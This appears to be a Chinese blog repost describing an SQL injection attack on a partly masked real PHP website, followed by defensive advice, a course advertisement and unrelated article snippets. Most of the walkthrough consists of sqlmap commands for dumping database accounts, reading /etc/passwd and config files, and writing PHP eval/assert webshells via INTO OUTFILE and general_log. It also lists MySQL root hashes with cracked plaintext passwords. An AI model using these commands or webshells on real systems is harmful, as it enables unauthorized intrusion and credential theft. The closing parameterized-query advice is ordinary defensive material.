news 2026/4/23 9:56:37

使用sqlmap对某php网站进行注入实战及安全防范

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
使用sqlmap对某php网站进行注入实战及安全防范

使用sqlmap对某php网站进行注入实战

一般来讲一旦网站存在sql注入漏洞,通过sql注入漏洞轻者可以获取数据,严重的将获取webshell以及服务器权限,但在实际漏洞利用和测试过程中,也可能因为服务器配置等情况导致无法获取权限。

1.1php注入点的发现及扫描

1.使用漏洞扫描工具进行漏洞扫描

将目标url地址放在wvs中进行漏洞扫描,如图1所示,扫描结果显示存在SQL盲注和SQL注入,其漏洞存在的参数为同一页面。


2.使用sqlmap工具对注入点进行漏洞验证

如图2所示,使用sqlmap注入检查命令进行验证:

sqlmap.py -u http://www.***./happystudy/happystudy_info.php?idnow=34

验证结果显示该url确实存在sql注入漏洞,且数据库为mysql。

1.2使用sqlmap进行sql注入测试

1.sql注入payload

如图3所示,通过sqlmap或者该注入点存在boolean-based blind、 AND/OR time-based blind 、UNION query三种类型漏洞,跟wvs扫描结果一致。sqlmap漏洞测试完毕后会自动给出相应的payload,例如对第一个可以在浏览器中进行测试:http://www.***./happystudy/happystudy_info.php?idnow=34%20AND%202952=2952

2.获取当前数据库名称

sqlmap.py -u http://www.***./happystudy/happystudy_info.php?idnow=34 --current-db获取当前数据库为xbase,如图4所示。

3.获取当前用户

sqlmap.py -u http://www.***./happystudy/happystudy_info.php?idnow=34 --current-user命令直接获取当前数据库账号为root@localhost,如图5所示。

4.查看数据库用户及密码

由于本例注入点是mysql root账号,因此可以通过sqlmap命令来查看数据库用户(–users)及数据库密码(–password),如图6所示,执行命令如下:

sqlmap.py -u http://www.***./happystudy/happystudy_info.php?idnow=34 --users --password

5.破解并获取数据库明文密码

(1)在线破解并整理数据库密码

将密码哈希值去掉前面的“*”号,将其复制到www.cmd5.com及somd5.com进行破解,注意该值需要选择密码类型mysql5,整理查询结果如下所示:

root,127.0.0.1,10265996C62D6B0481DB263D7D3AB3B088092EA4

root,zjweb.***.,1A1AB09EB2AF0018D8A2196D4300A46417EB167D hkhxg

root,localhost,21F0CB490C734AE18C25C945E5A95065B3FE8858 localhost

root,%,9427205DF4B13AF3CFDF9D5A4193C1B143492BA3 asphxg

(2)还可以通过–sql-shell直接查询数据库用户及密码

sqlmap.py -u http://www.***./happystudy/happystudy_info.php?idnow=34 --sql-shell

执行上面命令后,通过查询命令来获取密码,如图7所示:

select host,user,password from mysql.user

(3)对服务器端口进行扫描

masscan -p 3306 114...**

如果开放数据库端口,则可以直接进行连接,扫描结果显示仅仅开放80端口。

6.一些常用的sqlmap命令总结

(1)查看所有数据库

sqlmap.py -u url --dbs

(2)查看某个数据库下所有表

sqlmap.py -u url -D databasename --table

(3)获取列

sqlmap.py -u url -D mysql -T user --column

(4)导出数据

sqlmap.py -u url -D mysql -T user --dump

(5)数据库中表详细记录统计

sqlmap.py -u url -D mysql --count

(6)通过sql-shell来执行查询命令

sqlmap.py -u url --sql-shell

1.3php网站webshell获取

1.php+mysql网站webshell获取思路

(1)通过phpmyadmin登录执行导出获取

select '<?php @eval($_POST[a]);?>'INTO OUTFILE ‘D:/work/www/a.php’

(2)general_log配置文件获取

show global variables like “%genera%”;

set global general_log=off;

set global general_log=‘on’;

SET global general_log_file=‘D:/phpStudy/WWW/cmd.php’;

SELECT ‘<?php assert($_POST["cmd"]);?>’;

(3)sqlmap os-shell获取

sqlmap -u url --os-shell

(4)后台文件上传漏洞利用及获取

通过注入点获取管理员密码及后台地址,登录后台寻找上传地址及上传漏洞来获取webshell。

(5)文件包含漏洞来获取webshell

2.直接获取webshell失败

对于root账号而言,一般情况都可以通过–os-shell命令来获取webshell,如图8所示,执行命令后,并未获取shell。

3.获取真实物理路径

通过测试,在网站根目录下发现存在phpinfo页面,如图9所示,在该页面中可以看到数据库为内网IP地址192.168.77.88,真实物理路径为/usr/local/apache/htdocs
4.写入文件测试

知道物理路径,可以通过sqlmap进行文件读取和写入命令,执行命令:

sqlmap.py -u http://www.***./happystudy/happystudy_info.php?idnow=34 --file-write=“C:\tools\sqlmap\1.php” --file-dest=“/usr/local/apache/htdocs/happystudy/shell.php”

如图10所示,sqlmap执行命令成功,通过url对文件进行访问测试,页面不存在。

5.本地搭建环境测试写入文件

前面写入文件执行成功,怀疑是命令有问题,因此在本地搭建环境进行测试,测试命令为:

sqlmap.py -d mysql://root:123456@172.17.26.16:3306/mysql --file-write=“C:\tools\sqlmap\1.php” --file-dest=“C:\ComsenzEXP\wwwroot\shell.php”

结果在C:\ComsenzEXP\wwwroot\目录下成功写入shell.php文件,为此分析原因可能为:

(1)该目录无写入权限

(2)magic_quotes_gpc值为on

6.尝试general_log文件获取webshell方法

(1)查看genera文件配置情况

show global variables like “%genera%”;

(2)关闭general_log

set global general_log=off;

(3)通过general_log选项来获取webshell

set global general_log=‘on’;

SET global general_log_file=‘/usr/local/apache/htdocs/shell.php’;

SELECT ‘<?php assert($_POST["cmd"]);?>’;

由于以上命令需要在mysql客户端命令行或者phpmyadmin中进行执行,本案例中不具备,通过–sql-shell以及–sql-query命令均未能实现。

7.使用pangolin工具进行导出webshell

如图11所示,通过pangolin对该sql注入地址进行测试,尝试将webshell导出到网站根目录/usr/local/apache/htdocs/xxx.php文件,结果显示跟前面的分析情况一致。

8.读取文件测试

(1)读取文件

如图12所示,依次执行命令,分别读取/etc/passwd、/usr/local/apache/htdocs/index.php等文件

sqlmap.py -u http://www.***./happystudy/happystudy_info.php?idnow=34 --file-read=“/usr/local/apache/htdocs/index.php”

sqlmap.py -u http://www.***./happystudy/happystudy_info.php?idnow=34 --file-read=“/etc/passwd”

图12读取系统文件及其他文件

(2)获取数据库密码

sqlmap会将获取的文件自动保存到当前系统用户下C:\Users\john.sqlmap\output\www.****.\files,如图13所示,读取conn.php文件的内容,成功获取数据库root账号密码。

图13读取源代码获取root密码

1.4艰难的后台地址获取

1.使用havij对后台进行扫描

如图14所示,通过havij等工具对目标后台地址进行获取,在本例中获取的是普通用户的登录地址,未获取真正的后台地址。

图14使用havij对后台地址进行扫描

2.通过google成功获取后台地址

后面使用百度对该url地址进行查询“site: 后台管理”未能获取相关信息,但在google中成功获取其后台地址,如图15所示。有时候google黑客技术还是挺管用的。从url中可以看到该管理地址很难扫描获取。

图15成功获取后台管理地址

3.获取真正的管理表

通过sqlmap对该数据库中所有的表进行查询,发现存在多个涉及密码的表,admin、admin_files、admin_groups、tb_admin,依次进行和密码破解,将其进行后台登陆,均为成功登录。后面通过读取登录地址的源代码成功获取,其真正的管理员表为tygb,如图16所示,通过sql-shell进行查询:select * from tygb

图16获取真正的管理表

4.登录后台管理

如图17所示,登录成功后,可以看到其cms系统存在多个系统,对每个管理入口进行查看和测试,虽然某些模块存在上传,经过测试,无写入权限。

图17登录后台进行管理

5.fckeditor漏洞验证

在后台中发现其使用了fckeditor编辑器,成功找到其fckeditor编辑器文件测试页面,并对其进行测试,如图18,有无文件权限问题,该漏洞无法利用。

http://www.***./mes/news/fckeditor/editor/filemanager/connectors/uploadtest.html

图18文件上传漏洞无法利用

6.网站旁注漏洞利用失败

后面对该目标网站进行同IP地址域名反查,发现该IP下存在多个域名,通过仔细的核对,发现前面的sql注入点可以读取其数据库,通过获取后台密码,成功进入后台,但也无用,系统存在错误,fckeditor无法上传文件,也无法写入文件。

1.5php网站sql注入防御及总结

1.渗透总结

(1)本次渗透主要在于对mysql+php架构下sql注入点注入漏洞sqlmap的利用

(2)利用sqlmap的文件读取和写入功能写入webshell

(3)有些情况下即使存在漏洞,也可能无法获取webshell

2.php网站sql注入防御

(1)过滤一些常见的数据库操作关键字,例如对select ,insert,update,delete,and,*等或通过系统函数addslashes对内容进行过滤。

(2)php配置文件php.ini中register_globals=off;设置为关闭状态

(3)对于sql语句加以封装,避免直接暴漏SQL语句,使用prepared statements(预处理语句)和参数化的查询。这些SQL语句被发送到数据库服务器,它的参数全都会被单独解析。使用PDO和Mysqli,攻击者想注入恶意的SQL是不可能的。

//使用PDO

$stmt = $pdo->prepare(‘SELECT * FROM employees WHERE name = :name’);

$stmt->execute(array(‘:name’ => $name));

foreach ($stmt as $row) {

// do something with $row

}

//使用Mysqli

$stmt = $dbConnection->prepare(‘SELECT * FROM employees WHERE name = ?’);

$stmt->bind_param(‘s’, $name);

$stmt->execute();

$result = $stmt->get_result();

while ($row = $result->fetch_assoc()) {

// do something with $row

}

//PDO创建一个连接示例

$dbConnection = new PDO(‘mysql:dbname=dbtest;host=127.0.0.1;charset=utf8’, ‘user’, ‘pass’);

$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

(4)开启PHP安全模式safe_mode=on

(5)打开magic_quotes_gpc来防止SQL注入,默认为关闭,开启后自动把用户提交sql查询语句进行转换把"‘“转换成”’"

(6)控制错误信息输出,关闭错误信息提示,将错误信息写到系统日志。

(7)网站安装waf防护软件

文章来自网上,侵权请联系博主

题外话

黑客/网络安全学习路线

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!

一、2025最新网络安全学习路线

一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

读者福利 |CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。

L1级别:网络安全的基础入门

L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

L2级别:网络安全的技术进阶

L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。

L3级别:网络安全的高阶提升

L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。

L4级别:网络安全的项目实战

L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。

二、技术文档和经典PDF书籍

书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)


三、网络安全视频教程

对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

四、网络安全护网行动/CTF比赛

学以致用,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。


五、网络安全工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

面试不仅是技术的较量,更需要充分的准备。

在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。

如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 11:35:17

Jasminum中文文献管理Zotero插件:学术研究的终极智能助手

Jasminum中文文献管理Zotero插件&#xff1a;学术研究的终极智能助手 【免费下载链接】jasminum A Zotero add-on to retrive CNKI meta data. 一个简单的Zotero 插件&#xff0c;用于识别中文元数据 项目地址: https://gitcode.com/gh_mirrors/ja/jasminum 作为一名学术…

作者头像 李华
网站建设 2026/4/21 10:46:18

Scroll Reverser终极指南:macOS独立滚动方向控制完整教程

Scroll Reverser终极指南&#xff1a;macOS独立滚动方向控制完整教程 【免费下载链接】Scroll-Reverser Per-device scrolling prefs on macOS. 项目地址: https://gitcode.com/gh_mirrors/sc/Scroll-Reverser Scroll Reverser是一款专为macOS设计的免费开源工具&#x…

作者头像 李华
网站建设 2026/4/22 18:39:27

多模型自由切换,VSCode高效编码的秘密武器,你用对了吗?

第一章&#xff1a;多模型自由切换&#xff0c;VSCode高效编码的秘密武器&#xff0c;你用对了吗&#xff1f;在现代开发环境中&#xff0c;VSCode 已成为众多开发者首选的代码编辑器。其强大之处不仅在于轻量与扩展性&#xff0c;更体现在对 AI 编程助手的深度集成支持。借助多…

作者头像 李华
网站建设 2026/4/23 8:35:20

VSCode行内聊天优化实战(从卡顿到丝滑的完整进阶路径)

第一章&#xff1a;VSCode行内聊天的现状与挑战Visual Studio Code&#xff08;VSCode&#xff09;作为当前最流行的代码编辑器之一&#xff0c;持续引入创新功能以提升开发者协作效率。其中&#xff0c;行内聊天&#xff08;Inline Chat&#xff09;功能允许开发者在不离开编辑…

作者头像 李华
网站建设 2026/4/20 8:27:02

Zotero插件终极指南:如何用Ethereal Style提升文献管理效率

Zotero插件终极指南&#xff1a;如何用Ethereal Style提升文献管理效率 【免费下载链接】zotero-style zotero-style - 一个 Zotero 插件&#xff0c;提供了一系列功能来增强 Zotero 的用户体验&#xff0c;如阅读进度可视化和标签管理&#xff0c;适合研究人员和学者。 项目…

作者头像 李华
网站建设 2026/4/21 8:10:02

Equalizer APO音频调校全攻略:从零基础到专业配置

Equalizer APO音频调校全攻略&#xff1a;从零基础到专业配置 【免费下载链接】equalizerapo Equalizer APO mirror 项目地址: https://gitcode.com/gh_mirrors/eq/equalizerapo Equalizer APO作为Windows系统下功能最强大的开源音频均衡工具&#xff0c;为音乐爱好者、…

作者头像 李华